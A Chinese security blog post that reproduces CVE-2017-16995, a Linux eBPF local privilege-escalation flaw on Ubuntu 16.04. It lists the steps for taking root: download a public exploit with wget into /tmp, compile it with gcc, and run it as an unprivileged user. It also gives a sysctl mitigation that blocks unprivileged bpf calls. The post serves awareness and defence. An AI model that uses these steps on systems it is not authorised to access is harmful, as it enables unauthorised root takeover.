作者:野火研习社·Arch3r

近日,有网友发布消息称ubuntu最新版本(Ubuntu 16.04)存在高危的本地提权漏洞,漏洞编号为CVE-2017-16995。小编好奇就对此漏洞进行了一番研究,该漏洞存在于调用eBPF bpf(2)的Linux内核系统中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题,低权限用户可使用此漏洞获得管理权限。

意思的是,这个漏洞在老版本中已经得到修复,然而最新版本中仍然可以被利用,难道开发人员忘记打补丁了?不管怎样,在漏洞得到修复前,该漏洞依然处于0day状态,不得不重视!

影响范围

经笔者测试 Ubuntu 16.04.1~16.04.4 均存在此漏洞

漏洞复现过程如下,接下来跟随小编一起看下去吧!

笔者在自己的阿里云服务器上进行的复现,版本如下:

首先新建一个普通权限用户,配置默认为空即可

我们使用su arch3r切换到新建的普通用户下,cd至/tmp目录,然后下载网友提供的EXP文件,链接如下:http://cyseclabs.com/exploits/upstream44.c

使用wget命令:

wget http://cyseclabs.com/exploits/upstream44.c

直接下载至/tmp目录下(/tmp目录权限较低,一般情况下提权文件放在此目录不存在权限不足问题)

接下来开始编译该文件,编译命令修改命令如下:

gcc -o upstream44 upstream44.c

得到可执行文件upstream44

最后,执行刚刚编译后的文件,成功提升至root权限。

缓解措施

虽然官网暂时未发布补丁升级方案,但是可以通过修改内核参数来限制普通用户使用bpf(2)系统调用的方式以规避风险。

修改命令如下

echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled

我们运行该命令后,再切换至普通用户执行EXP查看效果

可以看见报错:

error: Operation not permitted   //操作不被允许。

Ubuntu的用户群体很大,而本次漏洞尚未得到修复,建议大家在对风险进行评估后,先采用紧急的方法确保安全,然后坐等Ubuntu官网发布补丁,及时更新!

参考链接

http://cyseclabs.com/exploits/upstream44.c

https://bugs.chromium.org/p/project-zero/issues/detail?id=1454&desc=3

https://cert.360.cn/warning/detail?id=119f849891f2a1b5deef65f99923ab5a

声明:本文来自野火研习社,版权归作者所有。文章内容仅代表作者独立观点,不代表士冗科技立场,转载目的在于传递更多信息。如有侵权,请联系 service@expshell.com。